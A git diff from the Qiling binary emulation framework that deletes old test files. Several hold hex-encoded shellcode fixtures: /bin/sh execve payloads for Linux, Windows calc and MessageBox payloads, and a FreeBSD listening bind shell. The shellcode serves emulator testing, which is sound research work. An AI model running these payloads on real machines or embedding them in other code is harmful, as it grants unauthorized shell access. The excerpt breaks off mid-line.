0 - fcall = ql.os.fcall_select(STDCALL) - fcall.writeParams(((DWORD, 0),)) - - # run until second stop - ql.hook_address(hook_second_stop_address, 0x4055FA, stops) - ql.run(begin=0x4053B2) - - # asmint32 driver should have been initialized by now. otherwise we get an exception - amsint32: Qiling = getattr(ql, 'amsint32_driver') - - # asmint32 driver init doesn't get to run far enough to initialize necessary data - # structures. it is expected to fail. - try: - utils.io_Write(amsint32, ql.pack32(0xdeadbeef)) - except QlErrorSyscallError: - pass - - # TODO: not sure whether this one is really STDCALL - fcall = amsint32.os.fcall_select(STDCALL) - fcall.writeParams(((DWORD, 0),)) - - # run until third stop - # TODO: Should stop at 0x10423, but for now just stop at 0x0001066a - amsint32.hook_address(hook_third_stop_address, 0x0001066a, stops) - amsint32.run(begin=0x102D0) - - self.assertTrue(stops[0]) - self.assertTrue(stops[1]) - self.assertTrue(stops[2]) - self.assertTrue(ql.test_set_api) - - - def test_pe_win_x8664_driver(self): - # Compiled sample from https://github.com/microsoft/Windows-driver-samples/tree/master/general/ioctl/wdm/sys - ql = Qiling(["../examples/rootfs/x8664_windows/bin/sioctl.sys"], "../examples/rootfs/x8664_windows", stop=QL_STOP.STACK_POINTER, libcache=True) - - driver_object = ql.loader.driver_object - - # Verify that these start zeroed out - majorfunctions = driver_object.MajorFunction - self.assertEqual(majorfunctions[IRP_MJ_CREATE], 0) - self.assertEqual(majorfunctions[IRP_MJ_CLOSE], 0) - self.assertEqual(majorfunctions[IRP_MJ_DEVICE_CONTROL], 0) - # And a DriverUnload - self.assertEqual(driver_object.DriverUnload, 0) - - # Run the simulation - ql.run() - - # Check that we have some MajorFunctions - majorfunctions = driver_object.MajorFunction - self.assertNotEqual(majorfunctions[IRP_MJ_CREATE], 0) - self.assertNotEqual(majorfunctions[IRP_MJ_CLOSE], 0) - self.assertNotEqual(majorfunctions[IRP_MJ_DEVICE_CONTROL], 0) - # And a DriverUnload - self.assertNotEqual(driver_object.DriverUnload, 0) - - ql.os.stats.clear() - - IOCTL_SIOCTL_METHOD_OUT_DIRECT = (40000, 0x901, METHOD_OUT_DIRECT, FILE_ANY_ACCESS) - output_buffer_size = 0x1000 - in_buffer = b'Test input\0' - Status, Information_value, output_data = utils.ioctl(ql, (IOCTL_SIOCTL_METHOD_OUT_DIRECT, output_buffer_size, in_buffer)) - - expected_result = b'This String is from Device Driver !!!\x00' - self.assertEqual(Status, 0) - self.assertEqual(Information_value, len(expected_result)) - self.assertEqual(output_data, expected_result) - - # TODO: - # - Call majorfunctions: - # - IRP_MJ_CREATE - # - IRP_MJ_CLOSE - # - Call DriverUnload - - del ql - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_perf.py.orig b/tests/test_perf.py.orig deleted file mode 100644 index 4c2d8e7ab..000000000 --- a/tests/test_perf.py.orig +++ /dev/null @@ -1,58 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import cProfile -import pstats -import sys -import inspect -import os as pyos - -sys.path.append("..") -from qiling import * - -from test_elf import * -from test_macho import * -from test_shellcode import * - -perf_res_dir = "./perf_results/" - -test_mapping = [ - -] - -def populate_tests(): - global test_mapping - - unit_tests = [ELFTest(), MACHOTest(), TestShellcode()] - - for ut in unit_tests: - ut_functions = inspect.getmembers(ut, predicate = inspect.ismethod) - for test_name, test_fn in ut_functions: - if not test_name.startswith("test_"): continue - outfile = perf_res_dir + test_name + ".perf" - test_mapping.append( (test_fn, outfile) ) - -def ql_profile(run_fn, outfile): - pr = cProfile.Profile() - pr.enable() - run_fn() - pr.disable() - pr.dump_stats(outfile) - pr.print_stats() - -def profile_all_functions(): - if not pyos.path.isdir("perf_results"): - pyos.mkdir("perf_results") - - populate_tests() - - for tm_func, rm_outfile in test_mapping: - try: - ql_profile(tm_func, rm_outfile) - except: - pass - -if __name__ == "__main__": - profile_all_functions() \ No newline at end of file diff --git a/tests/test_peshellcode.py.orig b/tests/test_peshellcode.py.orig deleted file mode 100644 index 72ed657f4..000000000 --- a/tests/test_peshellcode.py.orig +++ /dev/null @@ -1,71 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest - -sys.path.append("..") -from qiling import Qiling - -X86_WIN = bytes.fromhex(''' - fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c - 617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b5920 - 01d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475 - e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ff - e05f5f5a8b12eb8d5d6a01eb2668318b6f87ffd5bbf0b5a25668a695bd9dffd5 - 3c067c0a80fbe07505bb4713726f6a0053ffd5e8d5ffffff63616c6300 -''') - -X8664_WIN = bytes.fromhex(''' - fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52 - 183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1 - c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0 - 746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d - 31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b - 40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e - 595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7 - c1000000003e488d95fe0000003e4c8d850f0100004831c941ba45835607ffd5 - 4831c941baf0b5a256ffd548656c6c6f2c2066726f6d204d534621004d657373 - 616765426f7800 -''') - -POINTER_TEST = bytes.fromhex('1122334455667788') - -class PEShellcodeTest(unittest.TestCase): - def test_windowssc_x86(self): - ql = Qiling(code=X86_WIN, archtype="x86", ostype="windows", rootfs="../examples/rootfs/x86_windows") - ql.run() - del ql - - - def test_windowssc_x64(self): - ql = Qiling(code=X8664_WIN, archtype="x8664", ostype="windows", rootfs="../examples/rootfs/x8664_windows") - ql.run() - del ql - - def test_read_ptr32(self): - ql = Qiling(code=POINTER_TEST, archtype="x86", ostype="windows", rootfs="../examples/rootfs/x86_windows") - - addr = ql.loader.entry_point - self.assertEqual(0x11, ql.mem.read_ptr(addr, 1)) - self.assertEqual(0x2211, ql.mem.read_ptr(addr, 2)) - self.assertEqual(0x44332211, ql.mem.read_ptr(addr, 4)) - self.assertEqual(0x44332211, ql.mem.read_ptr(addr)) - self.assertEqual(0x8877665544332211, ql.mem.read_ptr(addr, 8)) - del ql - - def test_read_ptr64(self): - ql = Qiling(code=POINTER_TEST, archtype="x8664", ostype="windows", rootfs="../examples/rootfs/x8664_windows") - - addr = ql.loader.entry_point - self.assertEqual(0x11, ql.mem.read_ptr(addr, 1)) - self.assertEqual(0x2211, ql.mem.read_ptr(addr, 2)) - self.assertEqual(0x44332211, ql.mem.read_ptr(addr, 4)) - self.assertEqual(0x8877665544332211, ql.mem.read_ptr(addr, 8)) - self.assertEqual(0x8877665544332211, ql.mem.read_ptr(addr)) - del ql - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_posix.py.orig b/tests/test_posix.py.orig deleted file mode 100644 index 3f24483c6..000000000 --- a/tests/test_posix.py.orig +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys,unittest - -sys.path.append("..") -from qiling import * -from qiling.exception import * -from test_elf import * -from test_riscv import * -from test_qltool import * - -if __name__ == "__main__": - unittest.main() \ No newline at end of file diff --git a/tests/test_qdb.py.orig b/tests/test_qdb.py.orig deleted file mode 100644 index 0a0da506c..000000000 --- a/tests/test_qdb.py.orig +++ /dev/null @@ -1,41 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest - -sys.path.append("..") -from qiling import Qiling - -class DebuggerTest(unittest.TestCase): - - def test_qdb_mips32el_hello(self): - rootfs = "../examples/rootfs/mips32el_linux" - path = rootfs + "/bin/mips32el_hello" - - ql = Qiling([path], rootfs) - ql.debugger = "qdb::rr:qdb_scripts/mips32el.qdb" - ql.run() - del ql - - def test_qdb_arm_hello(self): - rootfs = "../examples/rootfs/arm_linux" - path = rootfs + "/bin/arm_hello" - - ql = Qiling([path], rootfs) - ql.debugger = "qdb::rr:qdb_scripts/arm.qdb" - ql.run() - del ql - - def test_qdb_x86_hello(self): - rootfs = "../examples/rootfs/x86_linux" - path = rootfs + "/bin/x86_hello" - - ql = Qiling([path], rootfs) - ql.debugger = "qdb::rr:qdb_scripts/x86.qdb" - ql.run() - del ql - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_qltool.py.orig b/tests/test_qltool.py.orig deleted file mode 100644 index 8b85c9dc4..000000000 --- a/tests/test_qltool.py.orig +++ /dev/null @@ -1,58 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, subprocess, unittest - -sys.path.append("..") -from qiling import * -from qiling.exception import * - -import os - -class Qltool_Test(unittest.TestCase): - def test_qltool_exec_args(self): - create = [sys.executable, '../qltool', 'run', '-f', '../examples/rootfs/x8664_linux/bin/x8664_args', '--rootfs', '../examples/rootfs/x8664_linux', '--verbose', 'off', '--args', 'test1', 'test2' ,'test3'] - p = subprocess.Popen(create, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) - for line in iter(p.stdout.readline, b''): - self.stdout = line - - self.assertEqual(b'arg 2 test3\n', self.stdout) - - - def test_qltool_shellcode(self): - create = [sys.executable, '../qltool', 'code', '--os','linux','--arch', 'x86', '--format', 'asm', '-f', '../examples/shellcodes/lin32_execve.asm'] - try: - subprocess.check_output(create,stderr=subprocess.STDOUT) - except subprocess.CalledProcessError as e: - raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) - - def test_qltool_coverage(self): - os.makedirs("./log_test", exist_ok=True) - create = [sys.executable, '../qltool', 'run', '-f','../examples/rootfs/x8664_efi/bin/TcgPlatformSetupPolicy','--rootfs', '../examples/rootfs/x8664_efi','--coverage-format', 'drcov', '--coverage-file', 'log_test/TcgPlatformSetupPolicy'] - try: - subprocess.check_output(create, stderr=subprocess.STDOUT) - except subprocess.CalledProcessError as e: - raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) - - def test_qltool_json(self): - create = [sys.executable, '../qltool', 'run', '-f','../examples/rootfs/x86_linux/bin/x86_hello','--rootfs', '../examples/rootfs/x86_linux','--verbose', 'off', '--json'] - try: - subprocess.check_output(create, stderr=subprocess.STDOUT) - except subprocess.CalledProcessError as e: - raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) - - def test_qltool_filter(self): - create = [sys.executable, '../qltool', 'run', '-f', '../examples/rootfs/arm_linux/bin/arm_hello', '--rootfs', '../examples/rootfs/arm_linux', '-e', '^(open|brk)', '--log-plain'] - try: - output = subprocess.check_output(create, stderr=subprocess.STDOUT) - except subprocess.CalledProcessError as e: - raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) - - lines = [ line.strip('[=]\t') for line in output.decode().split("\n")] - self.assertTrue(all(filter(lambda x: x.startswith("open") or x.startswith("brk"), lines))) - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_qnx.py.orig b/tests/test_qnx.py.orig deleted file mode 100644 index 0303c7fb3..000000000 --- a/tests/test_qnx.py.orig +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest - -sys.path.append("..") -from qiling import * -from qiling.exception import * -from qiling.const import QL_VERBOSE -from qiling.const import QL_INTERCEPT, QL_CALL_BLOCK, QL_VERBOSE -from qiling.os.const import STRING - -class QNXTest(unittest.TestCase): - - def test_arm_qnx_static(self): - env = { - "FOO": "bar" - } - ql = Qiling(["../examples/rootfs/arm_qnx/bin/hello_static", "foo", "bar"], "../examples/rootfs/arm_qnx", env=env, verbose=QL_VERBOSE.DEBUG) - ql.run() - - - def test_arm_qnx_sqrt(self): - ql = Qiling(["../examples/rootfs/arm_qnx/bin/hello_sqrt"], "../examples/rootfs/arm_qnx", verbose=QL_VERBOSE.DEBUG) - ql.run() - - - def test_set_api_arm_qnx_sqrt(self): - self.set_api_puts_onenter = False - self.set_api_puts_onexit = False - self.set_api_printf_onenter = False - self.set_api_printf_onexit = False - - def my_puts_onenter(ql: Qiling): - params = ql.os.resolve_fcall_params({'s': STRING}) - - print(f'puts("{params["s"]}")') - self.set_api_puts_onenter = True - return QL_CALL_BLOCK - - def my_puts_onexit(ql: Qiling): - print(f'after puts') - self.set_api_puts_onexit = True - return QL_CALL_BLOCK - - def my_printf_onenter(ql: Qiling): - params = ql.os.resolve_fcall_params({'s': STRING}) - - print(f'printf("{params["s"]}")') - self.set_api_printf_onenter = True - return QL_CALL_BLOCK - - def my_printf_onexit(ql: Qiling): - print(f'after printf') - self.set_api_printf_onexit = True - return QL_CALL_BLOCK - - ql = Qiling(["../examples/rootfs/arm_qnx/bin/hello_sqrt"], "../examples/rootfs/arm_qnx", verbose=QL_VERBOSE.DEBUG) - ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER) - ql.os.set_api('printf', my_printf_onenter, QL_INTERCEPT.ENTER) - - # ql.os.set_api('puts', my_puts_onexit, QL_INTERCEPT.EXIT) - ql.os.set_api('printf', my_printf_onexit, QL_INTERCEPT.EXIT) - - ql.run() - - self.assertEqual(False, self.set_api_puts_onenter) - self.assertEqual(False, self.set_api_puts_onexit) - self.assertEqual(True, self.set_api_printf_onenter) - self.assertEqual(True, self.set_api_printf_onexit) - - del self.set_api_puts_onenter - del self.set_api_puts_onexit - del self.set_api_printf_onenter - del self.set_api_printf_onexit - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_r2.py.orig b/tests/test_r2.py.orig deleted file mode 100644 index b25681089..000000000 --- a/tests/test_r2.py.orig +++ /dev/null @@ -1,36 +0,0 @@ -#!/usr/bin/env python3 - -import sys, unittest - -sys.path.append("..") -from qiling import Qiling -from qiling.const import QL_VERBOSE - -try: - from qiling.extensions.r2.r2 import R2 -except ImportError: - test_r2 = False -else: - test_r2 = True - -EVM_CODE = bytes.fromhex("6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029") - - -@unittest.skipUnless(test_r2, 'libr is missing') -class R2Test(unittest.TestCase): - def test_shellcode_disasm(self): - ql = Qiling(code=EVM_CODE, archtype="evm", verbose=QL_VERBOSE.DISABLED) - r2 = R2(ql) - pd = r2._cmd("pd 32") - self.assertTrue('callvalue' in pd) - - def test_addr_flag(self): - ql = Qiling(["../examples/rootfs/x86_windows/bin/x86_hello.exe"], "../examples/rootfs/x86_windows", - verbose=QL_VERBOSE.DISABLED) # x8864_hello does not have 'main' - r2 = R2(ql) - print(r2.where('main')) - self.assertEqual(r2.at(r2.where('main')), 'main') - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_riscv.py.orig b/tests/test_riscv.py.orig deleted file mode 100644 index f1013fbed..000000000 --- a/tests/test_riscv.py.orig +++ /dev/null @@ -1,65 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest -sys.path.append("..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE, QL_INTERCEPT -from qiling.extensions.pipe import SimpleOutStream - -class RISCVTest(unittest.TestCase): - def test_riscv32_hello_linux(self): - stdout = SimpleOutStream(1) - ql = Qiling(['../examples/rootfs/riscv32_linux/bin/hello'], '../examples/rootfs/riscv32_linux/', - verbose=QL_VERBOSE.DEFAULT) - - def close(ql, fd): - return 0 - ql.os.set_syscall("close", close, QL_INTERCEPT.CALL) - ql.os.stdout = stdout - ql.run() - self.assertTrue(stdout.read() == b'Hello, World!\n') - - del ql - - def test_riscv64_hello_linux(self): - stdout = SimpleOutStream(1) - ql = Qiling(['../examples/rootfs/riscv64_linux/bin/hello'], '../examples/rootfs/riscv64_linux/', - verbose=QL_VERBOSE.DEFAULT) - - def close(ql, fd): - return 0 - ql.os.set_syscall("close", close, QL_INTERCEPT.CALL) - ql.os.stdout = stdout - ql.run() - self.assertTrue(stdout.read() == b'Hello, World!\n') - - del ql - - def test_riscv64_hello_dyn_linux(self): - stdout = SimpleOutStream(1) - ql = Qiling(['../examples/rootfs/riscv64_linux/bin/hello-linux'], '../examples/rootfs/riscv64_linux/', - verbose=QL_VERBOSE.DEFAULT) - - ql.os.stdout = stdout - ql.run() - self.assertTrue(stdout.read() == b'Hello, World!\n') - - del ql - - def test_riscv32_hello_dyn_linux(self): - stdout = SimpleOutStream(1) - ql = Qiling(['../examples/rootfs/riscv32_linux/bin/hello-linux'], '../examples/rootfs/riscv32_linux/', - verbose=QL_VERBOSE.DEFAULT) - - ql.os.stdout = stdout - ql.run() - self.assertTrue(stdout.read() == b'Hello, World!\n') - - del ql - -if __name__ == "__main__": - unittest.main() \ No newline at end of file diff --git a/tests/test_shellcode.py.orig b/tests/test_shellcode.py.orig deleted file mode 100644 index 8d01e4e59..000000000 --- a/tests/test_shellcode.py.orig +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest -from binascii import unhexlify - -sys.path.append("..") -from qiling import * -from qiling.exception import * -from qiling.const import QL_VERBOSE - -test = unhexlify('cccc') -X86_LIN = unhexlify('31c050682f2f7368682f62696e89e3505389e1b00bcd80') -X8664_LIN = unhexlify('31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05') -MIPS32EL_LIN = unhexlify('ffff0628ffffd004ffff05280110e4270ff08424ab0f02240c0101012f62696e2f7368') -X86_WIN = unhexlify('fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a01eb2668318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5e8d5ffffff63616c6300') -X8664_WIN = unhexlify('fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7c1000000003e488d95fe0000003e4c8d850f0100004831c941ba45835607ffd54831c941baf0b5a256ffd548656c6c6f2c2066726f6d204d534621004d657373616765426f7800') -ARM_LIN = unhexlify('01308fe213ff2fe178460e300190491a921a0827c251033701df2f62696e2f2f7368') -ARM_THUMB = unhexlify('401c01464fea011200bf') -ARM64_LIN = unhexlify('420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f165ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f0000012f62696e2f736800') -X8664_FBSD = unhexlify('6a61586a025f6a015e990f054897baff02aaaa80f2ff524889e699046680c2100f05046a0f05041e4831f6990f0548976a035852488d7424f080c2100f0548b8523243427730637257488d3e48af74084831c048ffc00f055f4889d04889fe48ffceb05a0f0575f799043b48bb2f62696e2f2f73685253545f5257545e0f05') -X8664_macos = unhexlify('4831f65648bf2f2f62696e2f7368574889e74831d24831c0b00248c1c828b03b0f05') - -class TestShellcode(unittest.TestCase): - def test_linux_x86(self): - print("Linux X86 32bit Shellcode") - ql = Qiling(code = X86_LIN, archtype = "x86", ostype = "linux", verbose=QL_VERBOSE.OFF) - ql.run() - - def test_linux_x64(self): - print("Linux X86 64bit Shellcode") - ql = Qiling(code = X8664_LIN, archtype = "x8664", ostype = "linux", verbose=QL_VERBOSE.OFF) - ql.run() - - def test_linux_mips32(self): - print("Linux MIPS 32bit EL Shellcode") - ql = Qiling(code = MIPS32EL_LIN, archtype = "mips", ostype = "linux", verbose=QL_VERBOSE.OFF) - ql.run() - - #This shellcode needs to be changed to something non-blocking - def test_linux_arm(self): - print("Linux ARM 32bit Shellcode") - ql = Qiling(code = ARM_LIN, archtype = "arm", ostype = "linux", verbose=QL_VERBOSE.OFF) - ql.run() - - - def test_linux_arm_thumb(self): - print("Linux ARM Thumb Shllcode") - ql = Qiling(code = ARM_THUMB, archtype = "arm", ostype = "linux", verbose=QL_VERBOSE.OFF, thumb = True) - ql.run() - - - def test_linux_arm64(self): - print("Linux ARM 64bit Shellcode") - ql = Qiling(code = ARM64_LIN, archtype = "arm64", ostype = "linux", verbose=QL_VERBOSE.OFF) - ql.run() - - # #This shellcode needs to be changed to something simpler not requiring rootfs - # def test_windows_x86(self): - # print("Windows X86 32bit Shellcode") - # ql = Qiling(code = X86_WIN, archtype = "x86", ostype = "windows", rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) - # ql.run() - - # #This shellcode needs to be changed to something simpler not requiring rootfs - # def test_windows_x64(self): - # print("\nWindows X8664 64bit Shellcode") - # ql = Qiling(code = X8664_WIN, archtype = "x8664", ostype = "windows", rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) - # ql.run() - - #This shellcode needs to be changed to something simpler, listen is blocking - #def test_freebsd_x64(self): - # print("FreeBSD X86 64bit Shellcode") - # ql = Qiling(code = X8664_FBSD, archtype = "x8664", ostype = "freebsd", verbose=QL_VERBOSE.OFF) - # ql.run() - - # def test_macos_x64(self): - # print("macos X86 64bit Shellcode") - # ql = Qiling(code = X8664_macos, archtype = "x8664", ostype = "macos", verbose=QL_VERBOSE.OFF) - # ql.run() - - # def test_invalid_os(self): - # print("Testing Unknown OS") - # self.assertRaises(QlErrorOsType, Qiling, code = test, archtype = "arm64", ostype = "qilingos", verbose=QL_VERBOSE.DEFAULT ) - - # def test_invalid_arch(self): - # print("Testing Unknown Arch") - # self.assertRaises(QlErrorArch, Qiling, code = test, archtype = "qilingarch", ostype = "linux", verbose=QL_VERBOSE.DEFAULT ) - - # def test_invalid_output(self): - # print("Testing Invalid output") - # self.assertRaises(QlErrorOutput, Qiling, code = test, archtype = "arm64", ostype = "linux", verbose=QL_VERBOSE.DEFAULT ) - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_struct.py.orig b/tests/test_struct.py.orig deleted file mode 100644 index 9ffa82c30..000000000 --- a/tests/test_struct.py.orig +++ /dev/null @@ -1,160 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest -from typing import Optional - -sys.path.append("..") - -import ctypes - -from qiling import Qiling -from qiling.const import QL_ARCH, QL_OS -from qiling.os.struct import BaseStruct - -class DummyInternalStruct(BaseStruct): - _fields_ = [ - ('X', ctypes.c_uint32) - ] - - # this is defined to let 'assertEqual' work as expected - def __eq__(self, other) -> bool: - return isinstance(other, DummyInternalStruct) and self.X == other.X - - -class DummyStruct(BaseStruct): - _fields_ = [ - ('A', ctypes.c_uint32), - ('B', ctypes.c_uint64), - ('C', DummyInternalStruct), - ('D', ctypes.c_char * 16) - ] - - -# we only need context and not going to run anything anyway, so just use whatever -NOPSLED = b'\x90' * 8 -ROOTFS = r'../examples/rootfs/x8664_linux' - -class StructTest(unittest.TestCase): - - def setUp(self) -> None: - ql = Qiling(code=NOPSLED, rootfs=ROOTFS, archtype=QL_ARCH.X8664, ostype=QL_OS.LINUX) - - self.ptr = 0x100000 - self.mem = ql.mem - - self.expected = { - 'A' : 0xdeadface, - 'B' : 0x1020304050607080, - 'C' : DummyInternalStruct(0x11213141), - 'D' : b'Hello World!', - } - - # create a dummy structure with expected values - dummy = DummyStruct(**self.expected) - - # emit dummy structure to memory - ql.mem.map(self.ptr, ql.mem.align_up(dummy.sizeof())) - ql.mem.write(self.ptr, bytes(dummy)) - - - def __read_data(self, offset: int = 0, size: Optional[int] = None) -> bytearray: - return self.mem.read(self.ptr + offset, size or DummyStruct.sizeof()) - - - def __write_data(self, offset: int, data: bytes) -> None: - self.mem.write(self.ptr + offset, data) - - - @staticmethod - def __to_uint(data: bytearray) -> int: - return int.from_bytes(data, 'little', signed=False) - - - def test_load_from(self): - dummy = DummyStruct.load_from(self.mem, self.ptr) - - self.assertEqual(self.expected['A'], dummy.A) - self.assertEqual(self.expected['B'], dummy.B) - self.assertEqual(self.expected['C'], dummy.C) - self.assertEqual(self.expected['D'], dummy.D) - - - def test_save_to(self): - dummy = DummyStruct( - A=0x0c0a0f0e, - B=0x1828384858687888, - C=DummyInternalStruct(0x19293949), - D=b'Goodbye World!' - ) - - dummy.save_to(self.mem, self.ptr) - - obj_data = bytes(dummy) - mem_data = self.__read_data() - - self.assertEqual(obj_data, mem_data) - - def test_ref_discard(self): - data_before = self.__read_data() - - unused = [] - with DummyStruct.ref(self.mem, self.ptr) as dummy: - print(f'B = {dummy.B:#x}') - print(f'C = {dummy.C}') - - unused.append(dummy.A + 1337) - - data_after = self.__read_data() - - self.assertEqual(data_before, data_after) - - def test_ref_save(self): - expected = 0x10303070 - - with DummyStruct.ref(self.mem, self.ptr) as dummy: - print(f'B = {dummy.B:#x}') - print(f'C = {dummy.C}') - - dummy.A = expected - - data = self.__read_data(DummyStruct.offsetof('A'), 4) - self.assertEqual(expected, StructTest.__to_uint(data)) - - def test_ref_save_internal(self): - expected = 0x16363676 - - with DummyStruct.ref(self.mem, self.ptr) as dummy: - dummy.C.X = expected - - data = self.__read_data(DummyStruct.offsetof('C') + DummyInternalStruct.offsetof('X'), 4) - self.assertEqual(expected, StructTest.__to_uint(data)) - - def test_volatile_ref(self): - dummy = DummyStruct.volatile_ref(self.mem, self.ptr) - - expected = 0x01030307 - dummy.A = expected - data = self.__read_data(DummyStruct.offsetof('A'), 4) - self.assertEqual(expected, StructTest.__to_uint(data)) - - self.assertEqual(self.expected['B'], dummy.B) - self.assertEqual(self.expected['C'], dummy.C) - - expected = b'Volatility Test!' - self.__write_data(DummyStruct.offsetof('D'), expected) - self.assertEqual(expected, dummy.D) - - def test_volatile_ref_internal(self): - dummy = DummyStruct.volatile_ref(self.mem, self.ptr) - - expected = 0x51535357 - dummy.C.X = expected - data = self.__read_data(DummyStruct.offsetof('C') + DummyInternalStruct.offsetof('X'), 4) - self.assertEqual(expected, StructTest.__to_uint(data)) - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_tendaac15_httpd.py.orig b/tests/test_tendaac15_httpd.py.orig deleted file mode 100644 index fd8632b98..000000000 --- a/tests/test_tendaac15_httpd.py.orig +++ /dev/null @@ -1,93 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# Built on top of Unicorn emulator (www.unicorn-engine.org) - - -# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip -# 2. unzip -# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin -# 4. locate squashfs-root -# 5. rm -rf webroot && mv webroot_ro webroot -# -# notes: we are using rootfs in this example, so rootfs = squashfs-root -# - -import http.client, json, os, socket, sys, time, threading, unittest - -sys.path.append("..") -from qiling import Qiling -from qiling.const import QL_VERBOSE - -class ELFTest(unittest.TestCase): - - def test_tenda_ac15_arm(self): - - def nvram_listener(): - server_address = '../examples/rootfs/arm_tendaac15/var/cfm_socket' - data = "" - - try: - os.unlink(server_address) - except OSError: - if os.path.exists(server_address): - raise - - # Create UDS socket - sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) - sock.bind(server_address) - sock.listen(1) - - while True: - connection, client_address = sock.accept() - try: - while True: - data += str(connection.recv(1024)) - - if "lan.webiplansslen" in data: - connection.send('192.168.170.169'.encode()) - else: - break - data = "" - finally: - connection.close() - - def patcher(ql): - br0_addr = ql.mem.search("br0".encode() + b'\x00') - for addr in br0_addr: - ql.mem.write(addr, b'lo\x00') - - def my_tenda(): - ql = 